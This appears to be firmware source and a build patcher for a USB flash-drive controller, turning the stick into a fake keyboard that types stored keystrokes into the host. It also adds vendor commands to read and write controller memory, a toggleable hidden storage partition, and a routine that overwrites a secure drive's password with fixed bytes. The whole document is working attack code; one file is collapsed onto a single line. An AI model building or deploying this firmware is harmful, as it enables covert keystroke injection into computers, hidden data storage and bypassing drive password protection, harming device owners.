	TL1 = 0x5F;
	IP = 1;
	TCON = 0x10;
	SCON = 0;
	IE = 0x80;
}
void DoUSBRelatedInit()
{
	if (WARMSTATUS & 2)
	{
		return;
	}
	REGBANK = 5;
	XVAL(0xF210) = 0xFF;
	XVAL(0xF211) = 2;
	XVAL(0xF212) = 3;
	XVAL(0xF213) = 0x24;
	REGBANK = 0;
	XVAL(0xFA6B) = 0xFF;
	while((XVAL(0xF014) & 3)==0);
}
void SendKey(BYTE code, BYTE modifiers)
{
	int i;
	EP3.cs = 0;
	while (EP3.cs & 0x40);
	EP3.fifo = modifiers;
	EP3.fifo = 0;
	EP3.fifo = code;
	for (i = 0; i < 5; i++)
	{
		EP3.fifo = 0;
	}
	EP3.len_l = 8;
	EP3.len_m = 0;
	EP3.len_h = 0;
	EP3.cs = 0x40;
}
void main()
{
	InitHardware();
	DoUSBRelatedInit();
	InitUSB();
	InitTicks();
	InitLED();
	LEDBlink();
	while (1)
	{
		HandleUSBEvents();
		if (wait_tick++ >= KEY_DELAY)
		{
			if (wait_counter < KEY_DELAY)
			{
				wait_counter++;
			}
		}
		if (send_keys_enabled && wait_counter >= KEY_DELAY)
		{
			if (keyData[key_index])
			{
				//Send this key, with some padding before, since something's wonky with endpoint 3
				SendKey(0x00, 0x00);
				SendKey(0x00, 0x00);
				SendKey(0x00, 0x00);
				SendKey(0x00, 0x00);
				SendKey(keyData[key_index], keyData[key_index + 1]);
				SendKey(0x00, 0x00);
			}
			else
			{
				//Wait a while
				wait_counter = 0;
				wait_tick = 0;
			}
			//Move to next key
			key_index += 2;
			//Are we done?
			if (key_index >= sizeof(keyData))
			{
				send_keys_enabled = 0;
			}
		}
	}
}

Scsi.c

#include "defs.h"
#include "string.h"
#include "usb.h"
#define PREVENT_ALLOW_MEDIUM_REMOVAL	0x1E
#define TEST_UNIT_READY					0x00
#define INQUIRY							0x12
#define READ_FORMAT_CAPACITIES			0x23
#define MODE_SENSE						0x1A
#define REQUEST_SENSE					0x03
#define VENDOR_BOOT						0xBF
#define VENDOR_INFO						0x05
#define VENDOR_CHIPID					0x56
#define CUSTOM_XPEEK					0x06
#define CUSTOM_XPOKE					0x07
#define CUSTOM_IPEEK					0x08
#define CUSTOM_IPOKE					0x09
BYTE 	scsi_status;
DWORD	scsi_data_residue;
DWORD	scsi_transfer_size;
BYTE	scsi_tag[4];
BYTE	scsi_dir_in;
BYTE	scsi_lun;
BYTE 	scsi_cdb[16];
BYTE	scsi_cdb_size;
BYTE HandleCDB()
{
	//Default to returning a bad status
	scsi_status = 1;
	switch(scsi_cdb[0])
	{
		case PREVENT_ALLOW_MEDIUM_REMOVAL:
		{
			scsi_status = 0;
			return 1;
		}
		case TEST_UNIT_READY:
		{
			return 1;
		}
		case INQUIRY:
		{
			memset(usb_buffer, 0, 36);
			usb_buffer[1] = 0x80; //removable media
			usb_buffer[3] = 0x01; //because the UFI spec says so
			usb_buffer[4] = 0x1F; //additional length
			SendData1(36, 0);
			scsi_status = 0;
			return 1;
		}
		case READ_FORMAT_CAPACITIES:
		{
			memset(usb_buffer, 0, 12);
			usb_buffer[3] = 0x08; //capacity list length
			usb_buffer[6] = 0x10; //number of blocks (sectors) (dummy 2MB)
			usb_buffer[8] = 0x03;
			usb_buffer[10] = 0x02; //block length (512 bytes/sector)
			SendData1(12, 0);
			scsi_status = 0;
			return 1;
		}
		case MODE_SENSE:
		{
			memset(usb_buffer, 0, 8);
			usb_buffer[0] = 0x03;
			usb_buffer[2] = 0x80;
			SendData1(4, 0);
			scsi_status = 0;
			return 1;
		}
		case REQUEST_SENSE:
		{
			memset(usb_buffer, 0, 18);
			usb_buffer[0] = 0x70;
			usb_buffer[2] = 0x02;
			usb_buffer[7] = 10;
			usb_buffer[12] = 0x3A;
			SendData1(18, 0);
			scsi_status = 0;
			return 1;
		}
		//Vendor-specific requests
		case 0x06:
		case 0xC6:
		case 0xC7:
		{
			switch(scsi_cdb[1])
			{
				case CUSTOM_XPEEK:
				{
					usb_buffer[0] = XVAL((scsi_cdb[2] << 8) | scsi_cdb[3]);
					SendData1(1, 0);
					break;
				}
				case CUSTOM_XPOKE:
				{
					XVAL((scsi_cdb[2] << 8) | scsi_cdb[3]) = scsi_cdb[4];
					SendData1(1, 0);
					break;
				}
				case CUSTOM_IPEEK:
				{
					usb_buffer[0] = IVAL(scsi_cdb[2]);
					SendData1(1, 0);
					break;
				}
				case CUSTOM_IPOKE:
				{
					IVAL(scsi_cdb[2]) = scsi_cdb[3];
					SendData1(1, 0);
					break;
				}
				case VENDOR_CHIPID:
				{
					int i;
					memset(usb_buffer, 0x00, 0x200);
					//Set raw command mode
					XVAL(0xF480) = 0x00;
					XVAL(0xF618) = 0xFF;
					//Select chip 0
					XVAL(0xF608) = 0xFE;
					//Reset it
					XVAL(0xF400) = 0xFF;
					while (!(XVAL(0xF41E) & 0x01));
					//Send read chip ID command
					XVAL(0xF400) = 0x90;
					XVAL(0xF404) = 0x00;
					for (i = 0; i < 6; i++)
					{
						usb_buffer[i] = XVAL(0xF408);
					}
					SendData1(0x200, 0);
					scsi_status = 0;
					return 1;
				}
				case VENDOR_INFO: //get info
				{
					int i;
					memset(usb_buffer, 0x00, 0x210);
					usb_buffer[0x094] = 0x00;
					usb_buffer[0x095] = 0x99;
					usb_buffer[0x096] = 0x53;
					usb_buffer[0x17A] = 'V';
					usb_buffer[0x17B] = 'R';
					usb_buffer[0x17E] = 0x23;
					usb_buffer[0x17F] = 0x03;
					usb_buffer[0x200] = 'I';
					usb_buffer[0x201] = 'F';
					SendData1(0x210, 0);
					scsi_status = 0;
					return 1;
				}
				case VENDOR_BOOT:
				{
					//This transfers control to boot mode and will not return.
					XVAL(0xFA14) = 0x07;
					XVAL(0xF747) &= 0xEF;
					XVAL(0xFA15) = 0x06;
					XVAL(0xFA38) |= 0x01;
					XVAL(0xF08F) = 0x00;
					XVAL(0xFA68) &= 0xF7;
					XVAL(0xFA6A) &= 0xF7;
					XVAL(0xFA48) &= 0xFE;
					break;
				}
				default:
				{
					//Not handling it, then
					return 0;
				}
			}
		}
		default:
		{
			//Not handling it, then
			return 0;
		}
	}
}

Timers.c

#include "defs.h"
#include "timers.h"
static BYTE 	tmr0count, led_ticks, led_timer, led_tick_threshold;
static BYTE 	tmr1count;
static WORD	tmr1reload;
void tmr1isr(void) __interrupt TMR1_VECT
{
	TR1 = 0;
	TH1 = MSB(tmr1reload);
	TL1 = LSB(tmr1reload);
	tmr1count++;
	TR1 = 1;
}
void InitTicks()
{
	if (XVAL(0xFA60) == 0x0F)
	{
		tmr1reload = 0xF63C;
	}
	else
	{
		tmr1reload = 0-(2500/(XVAL(0xFA60)+2));
	}
	tmr1count = 0;
	TR1 = 0;
	ET1 = 1;
	TMOD = TMOD & 0x0F | 0x10;
}
BYTE GetTickCount(void)
{
	return tmr1count;
}
void tmr0isr(void) __interrupt TMR0_VECT
{
	//approx. 10 times per second
	TR0 = 0;
	TL0 = 0xE6;
	TH0 = 0x96;
	TR0 = 1;
	if ((GPIO0OUT & 2) == 0) //turned off
	{
		return;
	}
	tmr0count++;
	led_ticks++;
	if (led_ticks < led_tick_threshold)
	{
		return;
	}
	led_ticks = 0;
	if (led_timer >= 31)
	{
		GPIO0OUT = 1;
		led_timer = 0;
		return;
	}
	if (led_timer >= 10)
	{
		GPIO0OUT = ~GPIO0OUT;
		led_timer++;
		return;
	}
	if (led_timer == 0)
	{
		return;
	}
	if (GPIO0OUT & 1)
	{
		GPIO0OUT &= 0xFE;
	}
	else
	{
		GPIO0OUT |= 1;
	}
}
void SetLEDThreshold(int threshold)
{
	led_tick_threshold = threshold;
}
void InitLED(void)
{
	led_tick_threshold = 100;
	tmr0count = 0;
	GPIO0OUT = 3;
	led_ticks = 0;
	led_timer = 0;
	EA = 1;
	ET0 = 1;
	TR0 = 1;
}
void LEDBlink(void)
{
	GPIO0OUT = 2;
	led_timer = 1;
}
void LEDOff(void)
{
	GPIO0OUT = 3;
	led_timer = 0;
}

Usb.c

#include "defs.h"
#include "string.h"
#include "timers.h"
__xdata __at usb_buffer_VA volatile BYTE usb_buffer[1024];
BYTE	bmRequestType;
BYTE	bRequest;
WORD	wValue;
WORD	wIndex;
WORD	wLength;
static __xdata BYTE	usb_irq;
static __xdata BYTE	UsbIntStsF080, UsbIntStsF082, UsbIntStsF086, UsbIntStsF087;
BYTE usb_speed;
__xdata volatile BYTE usb_received_data_ready, usb_have_csw_ready;
extern BYTE	scsi_status;
extern DWORD scsi_data_residue;
extern DWORD scsi_transfer_size;
extern BYTE	scsi_tag[4];
extern BYTE	scsi_dir_in;
extern BYTE	scsi_cdb[16];
extern BYTE	scsi_lun;
extern BYTE	scsi_cdb_size;
extern BYTE HandleCDB(void);
extern volatile BYTE send_keys_enabled;
extern BYTE HandleStandardRequest(void);
extern BYTE HandleClassRequest(void);
extern BYTE HandleVendorRequest(void);
void SetDMA(BYTE p5, BYTE p3, BYTE px)
{
	XVAL(0xF80B) = 0;
	XVAL(0xF80C) = p5-1;
	switch(px)
	{
		case 0:
		{
			XVAL(0xF80D) = p3;
			XVAL(0xF80E) = p3;
			break;
		}
		case 1:
		{
			XVAL(0xF80D) = p3;
			break;
		}
		case 2:
		{
			XVAL(0xF80E) = p3;
			break;
		}
		default:
		{
			break;
		}
	}
}
void SendControlResponse(int size)
{
	EP0.len_l = LSB(size);
	EP0.len_m = MSB(size);
	EP0.len_h = 0;
	EP0.cs = 0x40;
	while (EP0.cs & 0x40);
	EP0CS = 0x05;
}
void SendData0(WORD size, BYTE offset)
{
	if (size > 0)
	{
		SetDMA(0x20, 0, 0);
		SetDMA(0x20, 0x80, 1);
		EP0.ptr_l = usb_buffer_PA>>8;
		EP0.ptr_m = usb_buffer_PA>>16;
		EP0.ptr_h = usb_buffer_PA>>24;
		EP0.offset = offset;
		EP0.len_l = LSB(size);
		EP0.len_m = MSB(size);
		EP0.len_h = 0;
		EP0.cs = 0x88;
		while(EP0.cs & 0x80);
	}
}
void SendData1(WORD size, BYTE offset)
{
	if (size > 0)
	{
		SetDMA(0x20, 0, 0);
		SetDMA(0x20, 0x80, 1);
		EP1.ptr_l = usb_buffer_PA>>8;
		EP1.ptr_m = usb_buffer_PA>>16;
		EP1.ptr_h = usb_buffer_PA>>24;
		EP1.offset = offset;
		EP1.len_l = LSB(size);
		EP1.len_m = MSB(size);
		EP1.len_h = 0;
		EP1.cs = 0x88;
		while(EP1.cs & 0x80);
	}
}
static void SendCSW()
{
	usb_buffer[0] = 'U';
	usb_buffer[1] = 'S';
	usb_buffer[2] = 'B';
	usb_buffer[3] = 'S';
	usb_buffer[4] = scsi_tag[0];
	usb_buffer[5] = scsi_tag[1];
	usb_buffer[6] = scsi_tag[2];
	usb_buffer[7] = scsi_tag[3];
	usb_buffer[8] = scsi_data_residue;
	usb_buffer[9] = scsi_data_residue>>8;
	usb_buffer[10] = scsi_data_residue>>16;
	usb_buffer[11] = scsi_data_residue>>24;
	usb_buffer[12] = scsi_status;
	SendData1(13, 0);
	usb_have_csw_ready = 0;
	scsi_data_residue = 0;
}
static void SendCSW2()
{
	while(EP1.cs & bmSTALL);
	while((EP1.r17 & 0x80)==0)
	{
		if ((XVAL(0xF010) & 0x20)==0)
		{
			usb_have_csw_ready = 0;
			return;
		}
	}
	while(EP1.cs & 0x40);
	while(EP2.cs & 0x40);
	while(EP3.cs & 0x40);
	while(EP4.cs & 0x40);
	EP1.fifo = 'U';
	EP1.fifo = 'S';
	EP1.fifo = 'B';
	EP1.fifo = 'S';
	EP1.fifo = scsi_tag[0];
	EP1.fifo = scsi_tag[1];
	EP1.fifo = scsi_tag[2];
	EP1.fifo = scsi_tag[3];
	EP1.fifo = scsi_data_residue;
	EP1.fifo = scsi_data_residue>>8;
	EP1.fifo = scsi_data_residue>>16;
	EP1.fifo = scsi_data_residue>>24;
	EP1.fifo = scsi_status;
	EP1.len_l = 13;
	EP1.len_m = 0;
	EP1.len_h = 0;
	EP1.cs = 0x40;
	usb_have_csw_ready = 0;
	scsi_data_residue = 0;
}
void InitUSB(void)
{
	BYTE b;
	usb_irq = 0;
	usb_received_data_ready = 0;
	usb_have_csw_ready = 0;
	usb_speed = 0;
	EP1.ptr_l = usb_buffer_PA>>8;
	EP1.ptr_m = usb_buffer_PA>>16;
	EP1.ptr_h = usb_buffer_PA>>24;
	EP1.r8 = 0x10;
	EP1.offset = 0;
	EP2.ptr_l = usb_buffer_PA>>8;
	EP2.ptr_m = usb_buffer_PA>>16;
	EP2.ptr_h = usb_buffer_PA>>24;
	EP2.r8 = 0x10;
	EP2.offset = 0;
	if (WARMSTATUS & 2) //USB warm start
	{
		if ((USBSTAT & bmSpeed) == bmSuperSpeed)
		{
			usb_speed = bmSuperSpeed;
		}
		else if ((USBSTAT & bmSpeed) == bmHighSpeed)
		{
			usb_speed = bmHighSpeed;
		}
		else if ((USBSTAT & bmSpeed) == bmFullSpeed)
		{
			usb_speed = bmFullSpeed;
		}
		else
		{
			usb_speed = 0;
		}
		EX1 = 1;
		EX0 = 1;
		EPIE = bmEP2IRQ | bmEP4IRQ;
		scsi_data_residue = 0;
		scsi_status = 0;
		SendCSW();
	}
	else
	{
		//USB cold start
		REGBANK = 6;
		XVAL(0xF240) = 2;
		XVAL(0xF28C) = 0x36;
		XVAL(0xF28D) = 0xD0;
		XVAL(0xF28E) = 0x98;
		REGBANK = 0;
		EPIE = bmEP2IRQ | bmEP4IRQ;
		USBCTL = bmAttach | bmSuperSpeed;
		XVAL(0xFA38) |= 2;
		EX1 = 1;
		EX0 = 1;
		for (b = 0; b < 250; b++);
	}
}
void usb_isr(void) __interrupt USB_VECT
{
	usb_irq = USBIRQ;
	if (usb_irq & 0x20)
	{
		USBIRQ = 0x20;
	}
	if (usb_irq & 0x10)
	{
		USBIRQ = 0x10;
	}
	if (usb_irq & bmSpeedChange)
	{
		USBIRQ = bmSpeedChange;
		if ((USBSTAT & bmSpeed) == bmSuperSpeed)
		{
			usb_speed = bmSuperSpeed;
		}
		else if ((USBSTAT & bmSpeed) == bmHighSpeed)
		{
			usb_speed = bmHighSpeed;
		}
		else if ((USBSTAT & bmSpeed) == bmFullSpeed)
		{
			usb_speed = bmFullSpeed;
		}
		else
		{
			usb_speed = 0;
		}
	}
	if (usb_irq & 0x40)
	{
		USBIRQ = 0x40;
	}
	UsbIntStsF087 = XVAL(0xF087);
	UsbIntStsF086 = XVAL(0xF086);
	UsbIntStsF082 = XVAL(0xF082);
	UsbIntStsF080 = XVAL(0xF080);
	if (UsbIntStsF082 & 0x80)
	{
		XVAL(0xF082) = 0x80;
	}
	if (UsbIntStsF082 & 0x40)
	{
		XVAL(0xF082) = 0x40;
	}
	if (UsbIntStsF080 & 1)
	{
		XVAL(0xF080) = 1;
		if (EP0CS & bmSUDAV)
		{
			bmRequestType = SETUPDAT[0];
			bRequest = SETUPDAT[1];
			wValue = SETUPDAT[2] | (SETUPDAT[3] << 8);
			wIndex = SETUPDAT[4] | (SETUPDAT[5] << 8);
			wLength = SETUPDAT[6] | (SETUPDAT[7] << 8);
		}
	}
	if (XVAL(0xF082) & 0x20)
	{
		XVAL(0xF082) = 0x20;
	}
	if (XVAL(0xF081) & 0x10)
	{
		XVAL(0xF081) = 0x10;
	}
	if (XVAL(0xF081) & 0x20)
	{
		XVAL(0xF081) = 0x20;
	}
	if (UsbIntStsF080 | UsbIntStsF082 | UsbIntStsF086 | UsbIntStsF087 | usb_irq)
	{
		EX0 = 0;
	}
}
void ep_isr(void) __interrupt EP_VECT
{
	BYTE interrupts = (EPIRQ & (bmEP2IRQ | bmEP4IRQ));
	if (interrupts & bmEP2IRQ)
	{
		EPIE &= ~bmEP2IRQ; //disable this
		EPIRQ = bmEP2IRQ; //acknowledge it
		usb_received_data_ready |= bmEP2IRQ;
	}
	if (interrupts & bmEP4IRQ)
	{
		EPIE &= ~bmEP4IRQ; //disable this
		EPIRQ = bmEP4IRQ; //acknowledge it
		usb_received_data_ready |= bmEP4IRQ;
	}
}
static void ResetEPs()
{
	EPIE = bmEP2IRQ | bmEP4IRQ;
	EP1.cs = 0;
	EP2.cs = 0;
	EP3.cs = 0;
	EP4.cs = 0;
}
static void HandleControlRequest(void)
{
	BYTE res;
	switch(bmRequestType & 0x60)
	{
		case 0:
			res = HandleStandardRequest();
			break;
		case 0x20:
			res = HandleClassRequest();
			break;
		case 0x40:
			res = HandleVendorRequest();
			break;
		default:
			res = FALSE;
	}
	if (!res)
	{
		EP0CS = wLength ? bmEP0STALL : bmEP0NAK;
	}
}
void HandleUSBEvents(void)
{
	if (UsbIntStsF080 | UsbIntStsF082 | UsbIntStsF086 | UsbIntStsF087 | usb_irq)
	{
		if (usb_irq)
		{
			if (usb_irq & 0x40)
			{
				USBCTL &= ~bmAttach;
				ResetEPs();
				XVAL(0xFE88) = 0;
				XVAL(0xFE82) = 0x10;
				while(XVAL(0xFE88)!=2);
				USBCTL = bmAttach;
			}
			if (usb_irq & bmSpeedChange)
			{
				ResetEPs();
			}
			usb_irq = 0;
		}
		else
		{
			if (UsbIntStsF082 & 0xC0)
			{
				ResetEPs();
				XVAL(0xF092) = 0;
				XVAL(0xF096) = 0;
				if (UsbIntStsF082 & 0x40)
				{
					XVAL(0xF07A) = 1;
				}
			}
			else
			{
				if (UsbIntStsF080 & 1)
				{
					HandleControlRequest();
				}
			}
			UsbIntStsF080 = 0;
			UsbIntStsF082 = 0;
			UsbIntStsF086 = 0;
			UsbIntStsF087 = 0;
		}
		EX0 = 1;
	}
	//WHY DOESN'T THIS INTERRUPT FIRE?!
	if (1)//usb_received_data_ready)
	{
		if (1)//usb_received_data_ready & bmEP4IRQ)
		{
			if (EP4.fifo_count > 0)
			{
				EP4.cs = 0x40;
				send_keys_enabled = 1;
				usb_received_data_ready &= ~bmEP4IRQ;
				EPIE |= bmEP4IRQ;
			}
		}
		if (usb_received_data_ready & bmEP2IRQ)
		{
			if (EP2.fifo_count == 31) //CBW size
			{
				BYTE a, b, c, d;
				scsi_data_residue = 0;
				/*while(EP1.cs & 0x40);
				while(EP2.cs & 0x40);
				while(EP3.cs & 0x40);
				while(EP4.cs & 0x40);*/
				a = EP2.fifo;
				b = EP2.fifo;
				c = EP2.fifo;
				d = EP2.fifo;
				if ((a=='U') && (b=='S') && (c=='B') && (d=='C'))
				{
					scsi_tag[0] = EP2.fifo;
					scsi_tag[1] = EP2.fifo;
					scsi_tag[2] = EP2.fifo;
					scsi_tag[3] = EP2.fifo;
					scsi_transfer_size = EP2.fifo;
					scsi_transfer_size |= ((DWORD)EP2.fifo)<<8;
					scsi_transfer_size |= ((DWORD)EP2.fifo)<<16;
					scsi_transfer_size |= ((DWORD)EP2.fifo)<<24;
					scsi_dir_in = EP2.fifo & 0x80;
					scsi_lun = EP2.fifo;
					scsi_cdb_size = EP2.fifo;
					for(a = 0; a < 16; a++)
					{
						scsi_cdb[a] = EP2.fifo;
					}
					EP2.cs = 0x40;
					if (!HandleCDB())
					{
						scsi_status = 1;
						if (scsi_transfer_size == 0)
						{
							EP1.cs = bmSTALL;
						}
						else if (scsi_dir_in)
						{
							EP1.cs = bmSTALL;
						}
						else
						{
							EP2.cs = bmSTALL;
						}
					}
					usb_have_csw_ready = 1;
				}
				else
				{
					EP2.cs = 0x40;
					EP2.cs = 4;
				}
			}
			else
			{
				EP2.cs = 0x40;
				EP2.cs = 4;
			}
			usb_received_data_ready &= ~bmEP2IRQ;
			EPIE |= bmEP2IRQ;
		}
	}
	if (usb_have_csw_ready)
	{
		SendCSW2();
	}
}

No boot-mode patch

Build.bat

@ECHO OFF
REM Set things up and create bin directory if necessary.
SETLOCAL ENABLEDELAYEDEXPANSION
SET BUILD_FILES=
IF NOT EXIST bin\NUL MKDIR bin
REM Generate .h C file for compilation.
ECHO *** Generating C .h file...
..\tools\Injector.exe /action=GenerateHFile /firmware=fw.bin /output=equates.h
IF ERRORLEVEL 1 GOTO ERRORS
REM Build each file in the list.
REM NOTE: This needs to change if more code files or sections are added.
FOR %%A IN (
base
) DO (
ECHO *** Building %%A.c...
sdcc --model-small -mmcs51 -pdefcpu -c -obin\%%A.rel %%A.c
IF ERRORLEVEL 1 GOTO ERRORS
SET "BUILD_FILES=!BUILD_FILES! bin\%%A.rel"
)
REM Retrieve free space for each section in the image.
ECHO *** Retrieving free space in image...
..\tools\Injector.exe /action=FindFreeBlock /firmware=fw.bin /section=Base /output=bin\free.txt
SET BASE_FREE_ADDR=
FOR /F "delims=" %%i IN (bin\free.txt) DO SET BASE_FREE_ADDR=!BASE_FREE_ADDR! %%i
DEL bin\free.txt
REM Build Intel Hex and BIN versions of combined file.
ECHO *** Linking...
sdcc --model-small --code-loc %BASE_FREE_ADDR% --xram-size 0x400 --xram-loc 0x7C00 -o bin\output.hex %BUILD_FILES%
..\tools\hex2bin bin\output.hex
REM Build patched image from assembled image.
REM NOTE: This needs to change if more code files or sections are added.
ECHO *** Injecting...
..\tools\Injector.exe /action=ApplyPatches /firmware=fw.bin /basecode=bin\output.bin /baserst=bin\base.rst /output=bin\fw.bin
IF ERRORLEVEL 1 GOTO ERRORS
GOTO END
:ERRORS
ECHO *** There were errors^^! ***
:END
ECHO *** Done.
ENDLOCAL

Base.c

#include "defs.h" #include "equates.h" #define FEATURE_CHANGE_PASSWORD //#define FEATURE_EXPOSE_HIDDEN_PARTITION //#define FEATURE_PREVENT_BOOT #define NUM_LBAS 0xE6EA40UL //this needs to be even! (round down) //SCSI command codes #define SCSI_06 0x06 #define SCSI_06_XPEEK 0x06 #define SCSI_06_XPOKE 0x07 #define SCSI_06_IPEEK 0x08 #define SCSI_06_IPOKE 0x09 #define SCSI_06_BOOT 0xBF #define SCSI_START_STOP_UNIT 0x1B #define SCSI_READ_FORMAT_CAPACITIES 0x23 #define SCSI_READ_CAPACITY 0x25 #define SCSI_READ_SECTOR 0x28 #define SCSI_WRITE_SECTOR 0x2A void memset(BYTE* s, BYTE c, int size) { int i; for (i = 0; i < size; i++) { *s = c; s++; } } void SendData(int size) { int i; while(EP1.cs & bmSTALL); while((EP1.r17 & 0x80)==0) { if ((XVAL(0xF010) & 0x20)==0) { return; } } while(EP1.cs & 0x40); while(EP2.cs & 0x40); while(EP3.cs & 0x40); while(EP4.cs & 0x40); for (i = 0; i < size; i++) { EP1.fifo = EPBUF[i]; } EP1.len_l = size & 0xFF; EP1.len_m = (size >> 8) & 0xFF; EP1.len_h = 0; EP1.cs = 0x40; } void SendCSW(void) { memset(EPBUF, 0, 13); EPBUF[0] = 'U'; EPBUF[1] = 'S'; EPBUF[2] = 'B'; EPBUF[3] = 'S'; EPBUF[4] = scsi_tag[3]; EPBUF[5] = scsi_tag[2]; EPBUF[6] = scsi_tag[1]; EPBUF[7] = scsi_tag[0]; SendData(13); } //Disconnects and then re-enumerates. void RecycleUSBConnection(void) { USBCTL &= ~bmAttach; EPIE = bmEP2IRQ; EP1.cs = 0; EP2.cs = 0; XVAL(0xFE88) = 0; XVAL(0xFE82) = 0x10; while (XVAL(0xFE88) != 2); USBCTL = bmAttach; } #ifdef FEATURE_EXPOSE_HIDDEN_PARTITION //HACK: We're using an unused bit of SYSTEM register 0xFA38 to hold the hidden status, // since we don't yet know what RAM is safe to use. BOOL IsHiddenAreaVisible(void) { return WARMSTATUS & 0x80; } //HACK: We're using an unused bit of SYSTEM register 0xFA38 to hold the hidden status, // since we don't yet know what RAM is safe to use. void SetHiddenAreaVisibility(BOOL visible) { if (visible) { WARMSTATUS |= 0x80; } else { WARMSTATUS &= 0x7F; } } void WaitTenSeconds(void) { WORD i, j; for (i = 0; i < 65535; i++) { for (j = 0; j < 1000; j++) { //Do nothing } } } #endif /* void HandleControlRequest(void) { if (bmRequestType & 0x20) { //Handle class request } else if (bmRequestType & 0x40) { //Handle vendor request } else { //Handle standard request } } */ /* void EndpointInterrupt(void) { __asm push ACC push DPH push DPL //If no interrupts fired, get out mov DPTR, #EPIRQ movx A, @DPTR jz 000001$ //Let the firmware know these events happened, so it can handle them mov B, A mov DPTR, #FW_EPIRQ movx A, @DPTR orl A, B movx @DPTR, A //Disable those interrupts so they don't fire again until we're done with them mov A, #0xFF xrl A, B mov DPTR, #EPIE movx @DPTR, A //Acknowledge the interrupts mov A, B mov DPTR, #EPIRQ movx @DPTR, A 000001$:pop DPL pop DPH pop ACC reti __endasm; } void HandleEndpointInterrupt(void) { //Handle incoming endpoint data } */ #if defined(FEATURE_EXPOSE_HIDDEN_PARTITION) || defined(FEATURE_PREVENT_BOOT) void HandleCDB(void) { unsigned long lba; switch(scsi_cdb[0]) { case SCSI_06: { switch (scsi_cdb[1]) { case SCSI_06_XPEEK: { EPBUF[0] = XVAL((scsi_cdb[2] << 8) | scsi_cdb[3]); SendData(1); break; } case SCSI_06_XPOKE: { XVAL((scsi_cdb[2] << 8) | scsi_cdb[3]) = scsi_cdb[4]; SendData(1); break; } case SCSI_06_IPEEK: { EPBUF[0] = IVAL(scsi_cdb[2]); SendData(1); break; } case SCSI_06_IPOKE: { IVAL(scsi_cdb[2]) = scsi_cdb[3]; SendData(1); break; } #ifdef FEATURE_PREVENT_BOOT case SCSI_06_BOOT: { break; } #endif default: { __asm ljmp #DEFAULT_CDB_HANDLER __endasm; } } break; } case SCSI_READ_SECTOR: //TODO: we should handle the other READ(X) commands as well { #ifdef FEATURE_EXPOSE_HIDDEN_PARTITION //Get the passed-in LBA lba = ((unsigned long)(scsi_cdb[2]) << 24) & 0xFF000000; lba |= ((unsigned long)(scsi_cdb[3]) << 16) & 0xFF0000; lba |= (scsi_cdb[4] << 8) & 0xFF00; lba |= scsi_cdb[5]; //Shift it if necessary if (IsHiddenAreaVisible()) { lba += NUM_LBAS / 2; } //Save it scsi_cdb[2] = (lba >> 24) & 0xFF; scsi_cdb[3] = (lba >> 16) & 0xFF; scsi_cdb[4] = (lba >> 8) & 0xFF; scsi_cdb[5] = lba & 0xFF; #endif //Let the firmware do its thing __asm ljmp #DEFAULT_READ_SECTOR_HANDLER __endasm; } #ifdef FEATURE_EXPOSE_HIDDEN_PARTITION case SCSI_START_STOP_UNIT: { //Are we being stopped? if (scsi_cdb[4] == 0x02) { //Yes, set the other section as the visible one SetHiddenAreaVisibility(!IsHiddenAreaVisible()); //Send the CSW SendCSW(); //Wait and re-enumerate WaitTenSeconds(); RecycleUSBConnection(); } else { //No, let things continue normally __asm ljmp #DEFAULT_CDB_HANDLER __endasm; } break; } case SCSI_READ_FORMAT_CAPACITIES: { lba = NUM_LBAS / 2; memset(EPBUF, 0, 12); EPBUF[3] = 0x08; //capacity list length EPBUF[4] = lba >> 24; EPBUF[5] = lba >> 16; EPBUF[6] = lba >> 8; EPBUF[7] = lba & 0xFF; EPBUF[8] = 0x02; //descriptor code (formatted media) EPBUF[10] = 0x02; //block length (512 bytes/sector) SendData(12); break; } case SCSI_READ_CAPACITY: { lba = (NUM_LBAS / 2) - 1; memset(EPBUF, 0, 8); EPBUF[0] = lba >> 24; EPBUF[1] = lba >> 16; EPBUF[2] = lba >> 8; EPBUF[3] = lba & 0xFF; EPBUF[6] = 0x02; //block length (512 bytes/sector) SendData(8); break; } case SCSI_WRITE_SECTOR: //TODO: we should handle the other WRITE(x) commands as well { //Get the passed-in LBA lba = ((unsigned long)(scsi_cdb[2]) << 24) & 0xFF000000; lba |= ((unsigned long)(scsi_cdb[3]) << 16) & 0xFF0000; lba |= (scsi_cdb[4] << 8) & 0xFF00; lba |= scsi_cdb[5]; //Shift it if necessary if (IsHiddenAreaVisible()) { lba += NUM_LBAS / 2; } //Save it scsi_cdb[2] = (lba >> 24) & 0xFF; scsi_cdb[3] = (lba >> 16) & 0xFF; scsi_cdb[4] = (lba >> 8) & 0xFF; scsi_cdb[5] = lba & 0xFF; //Let the firmware do its thing __asm ljmp #DEFAULT_CDB_HANDLER __endasm; } #endif default: __asm ljmp #DEFAULT_CDB_HANDLER __endasm; } } #endif //Called in the firmware's infinite loop. /* void LoopDo(void) { } */ #ifdef FEATURE_CHANGE_PASSWORD void SetPassword(BYTE* address) { int i; for (i = 0; i < 16; i++) { *(address + i) = 'A'; } } void PasswordReceived() { if (EPBUF[0]) { SetPassword(EPBUF); } if (EPBUF[0x10]) { SetPassword(EPBUF + 0x10); } } #endif